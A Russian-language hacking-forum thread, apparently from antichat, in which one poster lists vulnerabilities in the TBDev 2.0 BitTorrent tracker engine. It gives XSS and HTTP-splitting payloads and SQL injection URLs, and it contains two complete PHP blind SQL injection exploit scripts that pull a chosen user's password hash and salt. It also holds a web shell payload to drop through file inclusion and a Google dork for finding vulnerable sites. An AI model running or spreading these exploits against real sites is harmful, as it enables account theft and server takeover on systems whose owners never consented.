Старый 09.07.2010, 16:05   #1
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Трекер-движок TBDev

Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:

Раскрытие пути, если не залогинен:
Код:
confirm.php?id[]=
themes/TBDev/stdfoot.php
themes/TBDev/stdhead.php
themes/Gray/stdhead.php
delete.php
captcha.php
если залогинен:
Код:
thanks.php
votesview.php
takeedit.php
comment.php?action=quote&cid[]=
XSS
Код:
http://site/offcomment.php?action=<script>alert(/XSS/)</script>
XSS в POST-запросе:
Код:
<form action="http://site/getrss.php" method="POST">
<input type="text" name="cat[1]" value="&lt;script&gt;alert(/XSS/)&lt;/script&gt;">
<input type="submit">
</form>
HTTP Splitting (требуются права модератора)
Код:
<form action="http://site/comment.php?action=edit&cid=ID_комментария" method="POST">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="text" value="any_text">
<input type="submit">
</form>
Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).

Ищется в гугле, как: "Powered by TBDev v2.0"

В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.

Последний раз редактировалось (dm); 19.08.2010 в 01:26.. Причина: изменение заголовка
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:06   #2
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

HTTP Splitting (простого пользователя достаточно):
Код:
<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>
XSS в POST запросе (требуются права модератора):
Код:
<form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
<input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
<input type="submit">
</form>
Там же, XSS в Referer(требуются права модератора)
Код:
Referer: ><script>alert(/Hi/)</script>
SQL Inj(требуются права модератора)
Код:
<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form>
Запрос: SELECT modcomment FROM users WHERE id IN (SQL)


Blind SQL Inj
(требуются права модератора)
Код:
<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form>
Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:06   #3
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

SQL Inj
Код:
http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj
Код:
http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj:
POST:
Код:
http://site/requests.php
action=edit&category=1&id=SQL
Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

Blind SQL Inj:
POST:
Код:
http://site/offers.php
action=edit&id=SQL
Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

SQL Inj (требуются права модератора):
POST:
Код:
http://site/offers.php
deloffer=SQL
Запрос: DELETE FROM offers WHERE id = SQL

XSS
Код:
http://site/viewrequests.php?category=><script>alert(/XSS/)</script>
XSS(требуются права модератора)
Код:
http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>
XSS in Referer:
Код:
http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>
Код:
http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>
HTTP Splitting (требуются права модератора):
Код:
http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>
POST:
Код:
http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value
З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:07   #4
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

TBDev v2.0 Blind SQL Injection Exploit
Код:
http://site/requests.php?action=reset&requestid=sql'
Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:
Код:
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+
Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.

Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Запускать так:
Код:
tbdev2sql.php url target_id login password
Например tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin

Собственно код:
Код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru 

set_time_limit(0);
ignore_user_abort(1);

function getcookie($url, $name, $password){
	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
	$uid=$matches[1];
	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
	$passhash=$matches[1];
	$res = "uid=$uid; pass=$passhash;";
	if(isset($uid)&&isset($passhash))
		return $res;
	else
		return -1;
}

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="Cookie: $cookie\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($field ,$condition, $pos){
	global $id;
	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
	return $xpl;
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
	echo "[DONE]\r\n";
else
	die("Can't get cookies.. Pass incorrect?\r\n");

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
	$flag = 0;
	for($j=49;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=49) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=65;$j<=90;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		for($j=97;$j<=122;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
} 
echo " [DONE]\r\n";


?>
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:08   #5
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Ещё XSS, требуются права модератора:
Код:
http://site/stats.php?uporder="><script>alert(/XSS/)</script>
http://site/usersearch.php?r="><script>alert(/XSS/)</script>
Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:08   #6
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

Код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru 

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function getcookie($url, $name, $password){
	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
	$uid=$matches[1];
	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
	$passhash=$matches[1];
	$res = "uid=$uid; pass=$passhash;";
	if(isset($uid)&&isset($passhash))
		return $res;
	else
		return -1;
}

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="Cookie: $cookie\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($field, $condition, $pos){
	global $id;
	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
	return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
	if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
		return 1;
	else
		return 0;

}

function isVulnerable($url) {
	if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
		return 1;
	else
		return 2;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
	while(true) {
		$M = floor($lb + ($ub-$lb)/2);
		if(cond($url, $field, '<', $pos, $M)==1) {
			$ub = $M - 1; 
		}
		else if(cond($url, $field, '>', $pos, $M)==1) {
			$lb = $M + 1;
		}
		else
			return chr($M);
		if($lb > $ub)
			return -1;
	}
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
	echo "[DONE]\r\n";
else
	die("Can't get cookies.. Pass incorrect?\r\n");

if(!isVulnerable($url))
	die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){	
	$c = getChar($url, "passhash", $i, 47, 103);
	if($c==-1)
		die("\r\nExploit failed\r\n");
	else 
		echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){	
	$c = getChar($url, "secret", $i);
	if($c==-1)
		die("\r\nExploit failed\r\n");
	else 
		echo $c;
}
echo " [DONE]\r\n";


?>
Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:09   #7
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Сплоит для TBDev 2.0. , от паблик версии отличается тем, что пытается залить шелл на сервер, помимо поиска пасса/соли. Если шелл залить не удаётся, значит вместо RFI прийдётся использовать LFI, или на сервере не работает функция file_put_contents, которую вполне можно заменить на обычный fopen/fwrite.

LFI/RFI в админке используя параметр admincp.php?rootpath=.

Если register_globals ON, то LFI/RFI доступны и не из админки, а из index.php, тот же параметр.

Читайте комментарии к сплоиту, для заливки шелла, нужно положить код
Код:
<?php
  file_put_contents("torrents/.htaccess", "");
  file_put_contents("torrents/shell.php", "<? system(\$_GET['cmd']) ?>");
?>
В файл доступный для чтения, на вашем сервере и прописать путь к нему в переменной $uploader.

Так же сплоит может просто вытащить хеш, соль не закачивая шелл. Используется алгоритм бинарного поиска, так что запросов шлётся относительно немного, для слепой скули. (максимум 4 запроса на символ, вместо стабильно 16 при полном переборе, т.е. работает минимум в 4 раза быстрее, чем при полном переборе. И вообще для всех сплоитов со слепыми скулями, использующих BENCHMARK или перебор имён таблиц, стоит использовать алгоритм бинарного поиска, так быстрее)

P.S.
В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания:
Код:
$op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];

foreach ($_GET as $key => $value)
	$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
	$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
	$GLOBALS[$key] = $value;
Этот файл инклудится в admin.php .

Dork:"Powered by TBDev v2.0"
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:11   #8
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.p...postcount=7789

Цитата:
A vulnerability found in the popular bittorrent tracker TBSource code allows an attacker to inject SQL queries and read secret information from the database.
The value of 'choice' passed to the script index.php is not properly sanitized. When a special tailored value is passed by an attacker, full reading access to the database is possible.
Some projects based in TBSource like TBDev and TorrentStrike have been found to be affected by the same vulnerability.
Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат:

Посмотрел, короче будет работать только если:

1) залогиниться
2) юзер хоть раз участвовал в голосовании

Уязвимый запрос:
Код:
sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);
тогда можно в к примеру сделать так:
Цитата:
http://test1.ru:8012/tbdev/
POST choice=111 and if(substring(version(),1,1)=5,(select 1 union select 2),2)
UPD:
Нашёл источник: "Bug discovered by Emiliano Scavuzzo"
Qwazar вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot